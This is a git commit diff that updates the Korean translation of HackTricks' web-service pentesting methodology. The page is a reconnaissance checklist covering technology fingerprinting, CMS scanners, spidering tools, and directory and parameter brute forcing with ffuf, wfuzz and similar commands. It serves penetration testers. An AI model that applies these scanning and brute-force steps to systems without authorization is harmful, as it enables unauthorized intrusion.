mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['linux-hardening/privilege-escalation/README.md', 'network-s
This commit is contained in:
parent
663a4d67a5
commit
da4442e95e
7 changed files with 677 additions and 1280 deletions
|
@ -49,7 +49,7 @@
|
|||
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 **다양한 종류의 취약점**이 존재합니다.
|
||||
웹 서비스는 **가장 일반적이고 광범위한 서비스**이며 **다양한 종류의 취약점**이 존재합니다.
|
||||
|
||||
**기본 포트:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -43,24 +43,24 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
## 방법론 요약
|
||||
|
||||
> 이 방법론에서는 도메인(또는 서브도메인)을 공격할 것으로 가정합니다. 따라서 발견된 각 도메인, 서브도메인 또는 스코프 내부에 있는 웹 서버에 대해 이 방법론을 적용해야 합니다.
|
||||
> 이 방법론에서는 도메인(또는 서브도메인)을 공격할 것으로 가정합니다. 따라서 발견된 각 도메인, 서브도메인 또는 스코프 내부에 웹 서버가 있는 IP에 대해 이 방법론을 적용해야 합니다.
|
||||
|
||||
* [ ] 먼저 웹 서버에서 사용된 **기술**을 **식별**합니다. 기술을 성공적으로 식별하면 나머지 테스트 중에 고려해야 할 **요령**을 찾아보세요.
|
||||
* [ ] 해당 기술 버전의 **알려진 취약점**이 있는가?
|
||||
* [ ] **잘 알려진 기술**을 사용 중인가? 더 많은 정보를 추출할 수 있는 **유용한 요령**이 있는가?
|
||||
* [ ] 실행할 **전문 스캐너**가 있는가 (예: wpscan)?
|
||||
* [ ] **일반 목적의 스캐너**를 실행합니다. 무언가를 발견할지 또는 흥미로운 정보를 찾을지 알 수 없습니다.
|
||||
* [ ] **초기 확인**부터 시작하세요: **로봇**, **사이트맵**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
|
||||
* [ ] 해당 기술 버전의 **알려진 취약점**이 있는지 확인합니다.
|
||||
* [ ] **잘 알려진 기술**을 사용 중인가요? 더 많은 정보를 추출할 수 있는 **유용한 요령**이 있나요?
|
||||
* [ ] 실행할 **전문 스캐너**(예: wpscan)가 있나요?
|
||||
* [ ] **일반 목적 스캐너**를 실행합니다. 무언가를 발견할지 또는 흥미로운 정보를 찾을지 알 수 없습니다.
|
||||
* [ ] **초기 확인**부터 시작합니다: **로봇**, **사이트맵**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
|
||||
* [ ] 웹 페이지를 **스파이더링**합니다: 가능한 모든 **파일, 폴더** 및 **사용 중인 매개변수**를 찾는 시간입니다. 또한 **특별한 발견**을 확인하세요.
|
||||
* [ ] _브루트 포싱이나 스파이더링 중에 새 디렉토리가 발견될 때마다 해당 디렉토리를 스파이더링해야 합니다._
|
||||
* [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 대상으로 브루트 포스를 시도하여 새 **파일** 및 **디렉토리**를 찾으세요.
|
||||
* [ ] _브루트 포싱이나 스파이더링 중에 새 디렉토리가 발견될 때마다 해당 디렉토리를 브루트 포싱해야 합니다._
|
||||
* [ ] **백업 확인**: 발견된 파일의 일반적인 백업 확장자를 추가하여 **백업**을 찾을 수 있는지 테스트하세요.
|
||||
* [ ] **매개변수 브루트 포싱**: **숨겨진 매개변수**를 찾으려고 노력하세요.
|
||||
* [ ] 모든 **사용자 입력**을 수용하는 모든 **엔드포인트**를 **식별**한 후 해당하는 **취약점**을 확인하세요.
|
||||
* [ ] **디렉터리 브루트 포싱**: 발견된 모든 폴더를 대상으로 브루트 포스를 시도하여 새 **파일** 및 **디렉터리**를 찾습니다.
|
||||
* [ ] _브루트 포싱이나 스파이더링 중에 새 디렉토리가 발견될 때마다 해당 디렉토리를 브루트 포스해야 합니다._
|
||||
* [ ] **백업 확인**: 발견된 파일의 **백업**을 찾을 수 있는지 테스트하고 일반적인 백업 확장자를 추가합니다.
|
||||
* [ ] **매개변수 브루트 포싱**: **숨겨진 매개변수**를 찾아보세요.
|
||||
* [ ] 모든 **사용자 입력**을 수용하는 모든 **엔드포인트**를 **식별**한 후 해당하는 **모든 종류의 취약점**을 확인하세요.
|
||||
* [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## 서버 버전 (취약점이 있는가?)
|
||||
## 서버 버전 (취약점이 있는지?)
|
||||
|
||||
### 식별
|
||||
|
||||
|
@ -116,19 +116,19 @@ webanalyze -host https://google.com -crawl 2
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_**같은 도메인**이 다른 **포트**, **폴더** 및 **하위 도메인**에서 **다른 기술**을 사용할 수 있다는 것을 염두에 두세요._\
|
||||
웹 응용 프로그램이 **이전에 나열된 잘 알려진 기술/플랫폼** 또는 **다른 기술**을 사용하는 경우 **인터넷에서** 새로운 트릭을 **검색**하고 (알려주세요!).
|
||||
_**같은 도메인**이 다른 **포트**, **폴더** 및 **하위 도메인**에서 다른 **기술**을 사용할 수 있다는 점을 고려하십시오._\
|
||||
웹 응용 프로그램이 **이전에 나열된 잘 알려진 기술/플랫폼** 또는 **다른 것**을 사용하는 경우 **인터넷에서** 새로운 트릭을 **검색**하고 (알려주세요!).
|
||||
|
||||
### 소스 코드 검토
|
||||
|
||||
응용 프로그램의 **소스 코드**가 **github**에 **제공**되는 경우, **현재의 블랙박스 테스트**에 유용한 **일부 정보**가 있을 수 있습니다:
|
||||
응용 프로그램의 **소스 코드**가 **github**에 **제공**되는 경우, **현재의 블랙박스 테스트**에 유용한 **일부 정보**를 수행하는 것 외에도:
|
||||
|
||||
* **변경 로그 또는 Readme 또는 버전** 정보가 웹을 통해 **액세스 가능한 파일**이 있습니까?
|
||||
* **자격 증명**은 어디에 저장되며 어떻게 저장되었습니까? 자격 증명 (사용자 이름 또는 비밀번호)이 있는 (액세스 가능한?) **파일**이 있습니까?
|
||||
* **변경 로그 또는 Readme 또는 버전** 정보가 웹을 통해 **액세스 가능한 파일**에 있는지 확인하십시오.
|
||||
* **자격 증명**은 어디에 어떻게 저장되어 있습니까? 자격 증명 (사용자 이름 또는 비밀번호)이 있는 (액세스 가능한?) **파일**이 있습니까?
|
||||
* **비밀번호**는 **평문**, **암호화**되었거나 사용된 **해싱 알고리즘**은 무엇입니까?
|
||||
* 무언가를 암호화하는 데 **마스터 키**를 사용하고 있습니까? 사용된 **알고리즘**은 무엇입니까?
|
||||
* 어떤 **취약점을 이용**하여 이러한 파일 중 **어떤 것에 액세스**할 수 있습니까?
|
||||
* **github의** (해결된 및 미해결된) **이슈**에 **흥미로운 정보**가 있습니까? 또는 **커밋 기록**에 (이전 커밋에 **비밀번호가 포함**된 것일 수도 있음) **흥미로운 정보**가 있습니까?
|
||||
* 어떤 **취약점을 이용**하여 이러한 파일에 **액세스**할 수 있습니까?
|
||||
* **github의** (해결된 것과 해결되지 않은 것) **이슈**에 **흥미로운 정보**가 있습니까? 또는 **커밋 히스토리**에 (이전 커밋에 **비밀번호가 포함**된 것일 수도 있음) 있습니까?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -150,7 +150,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### CMS 스캐너
|
||||
|
||||
만약 CMS가 사용된다면 **스캐너를 실행**하는 것을 잊지 마세요. 어쩌면 중요한 정보가 발견될 수도 있습니다:
|
||||
만약 CMS가 사용된다면 **스캐너를 실행**하는 것을 잊지 마세요. 어쩌면 중요한 정보가 발견될 수 있습니다:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** 웹사이트의 보안 취약점을 찾습니다. (GUI)\
|
||||
|
@ -163,11 +163,11 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> 이 시점에서는 이미 클라이언트가 사용하는 웹 서버에 대한 일부 정보(제공된 데이터가 있는 경우)와 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 찾았고 일부 스캐너를 실행했을 수도 있습니다.
|
||||
> 이 시점에서는 이미 클라이언트가 사용하는 웹 서버에 대한 일부 정보(제공된 데이터가 있는 경우)와 테스트 중에 염두해 둘 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 찾았고 일부 스캐너를 실행했을 수도 있습니다.
|
||||
|
||||
## 웹 애플리케이션 발견 단계별 절차
|
||||
|
||||
> 이 시점부터 웹 애플리케이션과 상호 작용을 시작할 것입니다.
|
||||
> 이제부터 웹 애플리케이션과 상호 작용을 시작할 것입니다.
|
||||
|
||||
### 초기 확인 사항
|
||||
|
||||
|
@ -182,24 +182,24 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
**에러 강제**
|
||||
|
||||
웹 서버는 이상한 데이터가 전송될 때 **예기치 않게 동작**할 수 있습니다. 이는 **취약점**을 노출하거나 **민감한 정보를 누설**할 수 있습니다.
|
||||
웹 서버는 이상한 데이터가 전송될 때 **예기치 않게 동작**할 수 있습니다. 이는 **취약점을 노출**하거나 **민감한 정보를 노출**할 수 있습니다.
|
||||
|
||||
* /whatever_fake.php (.aspx, .html 등)와 같은 **가짜 페이지**에 접근
|
||||
* **쿠키 값** 및 **매개변수 값**에 "\[]", "]]", "\[\["를 추가하여 오류 생성
|
||||
* URL **끝**에 **`/~randomthing/%s`**로 입력하여 오류 생성
|
||||
* PATCH, DEBUG 등 **다른 HTTP 동사** 또는 잘못된 FAKE와 같은 것 시도
|
||||
* /whatever\_fake.php (.aspx,.html,.etc)와 같은 **가짜 페이지**에 액세스
|
||||
* **쿠키 값** 및 **매개 변수 값**에 "\[]", "]]", 및 "\[\["를 추가하여 오류 생성
|
||||
* URL **끝에** **`/~randomthing/%s`**로 입력하여 오류 생성
|
||||
* PATCH, DEBUG 등과 같은 **다른 HTTP 동사** 또는 잘못된 FAKE 시도
|
||||
|
||||
#### **파일 업로드 가능 여부 확인 (**[**PUT 동사, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일을 업로드할 권한이 충분하지 않은 경우** 다음을 시도해 보세요:
|
||||
|
||||
* 자격 증명 **무차별 대입**
|
||||
* WebDav를 통해 파일을 업로드하여 웹 페이지 내의 **다른 폴더**에 **찾은 폴더의 나머지**에 업로드할 수 있는 권한이 있는지 확인하세요.
|
||||
* WebDav를 통해 파일을 업로드하여 웹 페이지 내의 **다른 폴더**에 대해 확인합니다. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다.
|
||||
|
||||
### **SSL/TLS 취약점**
|
||||
|
||||
* 응용 프로그램이 **HTTPS 사용을 강제하지 않는 경우**, MitM에 **취약**할 수 있습니다.
|
||||
* 응용 프로그램이 HTTP를 사용하여 **민감한 데이터(암호)를 전송하는 경우** 높은 취약점입니다.
|
||||
* 응용 프로그램이 HTTP를 사용하여 **민감한 데이터(암호)를 전송하는 경우** 높은 취약성이 있습니다.
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 아마도 이러한 유형의 취약점이 허용되지 않을 것입니다) [**a2sv** ](https://github.com/hahwul/a2sv)를 사용하여 취약점을 다시 확인하세요:
|
||||
```bash
|
||||
|
@ -219,45 +219,46 @@ SSL/TLS 취약점에 대한 정보:
|
|||
|
||||
웹 내부에 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링 및 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(LinkFinder)에서 링크 찾기 (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일 및 외부 소스(Archive.org)에서 링크 찾기.
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(LinkFinder)에서 찾기 (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일 및 외부 소스(Archive.org)에서 찾기.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시합니다.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. 또한 Archive.org에서 검색합니다.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더가 아니지만 유용할 수 있습니다. 호스트별로 각 경로를 가져와 응답을 저장합니다.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능을 갖춘 HTML 스파이더. 그러나 유지보수되지 않는 것으로 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화식 CLI HTML 스파이더. 또한 Archive.org에서 검색합니다.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더가 아니지만 유용할 수 있습니다. 호스트 및 경로가 포함된 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것으로 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
|
||||
* [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 있는 URL을 찾아 나열합니다.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능을 갖춘 HTML 스파이더.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새 경로를 검색할 수 있는 HTML 스파이더. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스 및 포함된 javascript 파일에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀, 정보보안 닌자에 유용합니다.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado 및 JSBeautifier를 사용하여 JavaScript 파일에서 상대적인 URL을 구문 분석하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지보수되지 않는 것으로 보입니다.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)이 주어지면 해당 파일에서 상대 URL을 추출합니다.
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 포함된 URL을 찾아 나열합니다.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새 경로를 검색할 수 있는 JS 뷰티파이 기능이 있는 HTML 스파이더. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스 및 포함된 javascript 파일에서 엔드포인트를 추출하는 도구. 버그 헌터, 레드 팀, 정보 보안 닌자에 유용합니다.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado 및 JSBeautifier를 사용하여 JavaScript 파일에서 상대적인 URL을 구문 분석하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것으로 보입니다.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)이 주어지면 해당 파일에서 상대적인 URL을 추출하는 데 사용되는 깔끔한 정규식을 사용합니다.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 브라우저를 헤드리스로로드하고 페이지를로드하는 데 사용된 모든 URL을 출력합니다.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 검색 도구
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로 및 매개변수를 찾기 위한 Burp 확장 프로그램.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL이 주어지면 정리된 JS 코드를 가져옵니다.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 찾는 데 사용되는 도구입니다.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine에서 링크를 발견합니다(wayback의 응답을 다운로드하고 더 많은 링크를 찾습니다).
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL이 주어지면 정리된 JS 코드를 가져올 수 있는 도구
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 발견하는 데 사용되는 도구입니다.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine에서 링크를 발견합니다(wayback의 응답을 다운로드하고 더 많은 링크를 찾습니다
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 특정 정규식을 사용하여 크롤링(양식 작성 포함)하고 민감한 정보를 찾습니다.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): 사이버 보안 전문가를 위한 고급 다기능 GUI 웹 보안 크롤러/스파이더
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 매개변수 및 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 워드리스트를 생성하는 간단한 **Burp Suite 확장 프로그램**입니다.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 매개변수 및 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 워드리스트를 만들기 위한 간단한 **Burp Suite 확장 프로그램**입니다.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): 이 도구는 훌륭합니다.
|
||||
|
||||
### 디렉토리 및 파일 브루트 포스
|
||||
### 디렉토리 및 파일 무차별 대입
|
||||
|
||||
루트 폴더에서 **브루트 포스**를 시작하고 이 방법을 사용하여 찾은 **모든 디렉토리**를 브루트 포스하고 **스파이더링**에 의해 발견된 모든 디렉토리를 브루트 포스합니다(이 브루트 포스를 **재귀적**으로 수행하고 발견된 디렉토리의 이름을 사용된 워드리스트의 시작 부분에 추가합니다).\
|
||||
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 찾은 **모든 디렉토리**를 무차별 대입하고 **스파이더링**에 의해 발견된 모든 디렉토리를 무차별 대입해야 합니다(발견된 디렉토리의 이름을 사용된 워드리스트의 시작 부분에 추가하여 재귀적으로 무차별 대입할 수 있습니다).\
|
||||
도구:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며 **오래되었지만**(그리고 **느립니다**) 기능적입니다. 자동 서명된 인증서 및 재귀적 검색을 허용합니다. 다른 옵션과 비교하여 너무 느립니다.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀적 검색을 허용합니다.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀적** 검색을 지원하지 않습니다.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀적** 검색을 **하지 않습니다**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀적 검색을 지원합니다.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 빠릅니다: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): 이것은 스파이더가 아니지만 발견된 URL 목록을 사용하여 "중복" URL을 삭제합니다.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 히스토리에서 디렉토리 목록을 생성하는 Burp 확장 프로그램
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): 이것은 스파이더가 아니지만 발견된 URL 목록을 제공하여 "중복" URL을 삭제합니다.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다른 페이지의 burp 히스토리에서 디렉토리 목록을 만드는 Burp 확장 프로그램
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 중복 기능을 가진 URL을 제거합니다(JS 가져오기를 기반으로 함)
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하고 사용할 워드리스트를 선택하기 위해 wapalyzer를 사용합니다.
|
||||
|
||||
|
@ -280,22 +281,22 @@ SSL/TLS 취약점에 대한 정보:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_새로운 디렉토리가 브루트 포싱이나 스파이더링 중에 발견될 때마다 브루트 포싱해야 합니다._
|
||||
_브루트 포싱이나 스파이더링 중에 새 디렉토리를 발견할 때마다 브루트 포스해야 합니다._
|
||||
|
||||
### 각 발견된 파일에서 확인해야 할 사항
|
||||
|
||||
* [**링크 깨진 링크 확인기**](https://github.com/stevenvachon/broken-link-checker): 탈취 가능성이 있는 HTML 내의 깨진 링크 찾기
|
||||
* **파일 백업**: 모든 실행 파일의 백업을 찾은 후, 모든 실행 파일("_.php_", "_.aspx_" 등)의 백업을 찾으세요. 백업의 일반적인 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 또는 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**를 사용할 수 있습니다.**
|
||||
* **새 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**, **[**parameth**](https://github.com/maK-/parameth)**, **[**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 찾아보세요.
|
||||
* **파일 백업**: 모든 파일을 찾은 후에 실행 파일의 백업을 찾아보세요 ("_.php_", "_.aspx_"...). 백업의 일반적인 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**를 사용할 수도 있습니다**.
|
||||
* **새 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**, [**parameth**](https://github.com/maK-/parameth)**, [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 찾아보세요**.
|
||||
* _Arjun 모든 기본 워드리스트:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **코멘트:** 모든 파일의 코멘트를 확인하면 **자격 증명**이나 **숨겨진 기능**을 찾을 수 있습니다.
|
||||
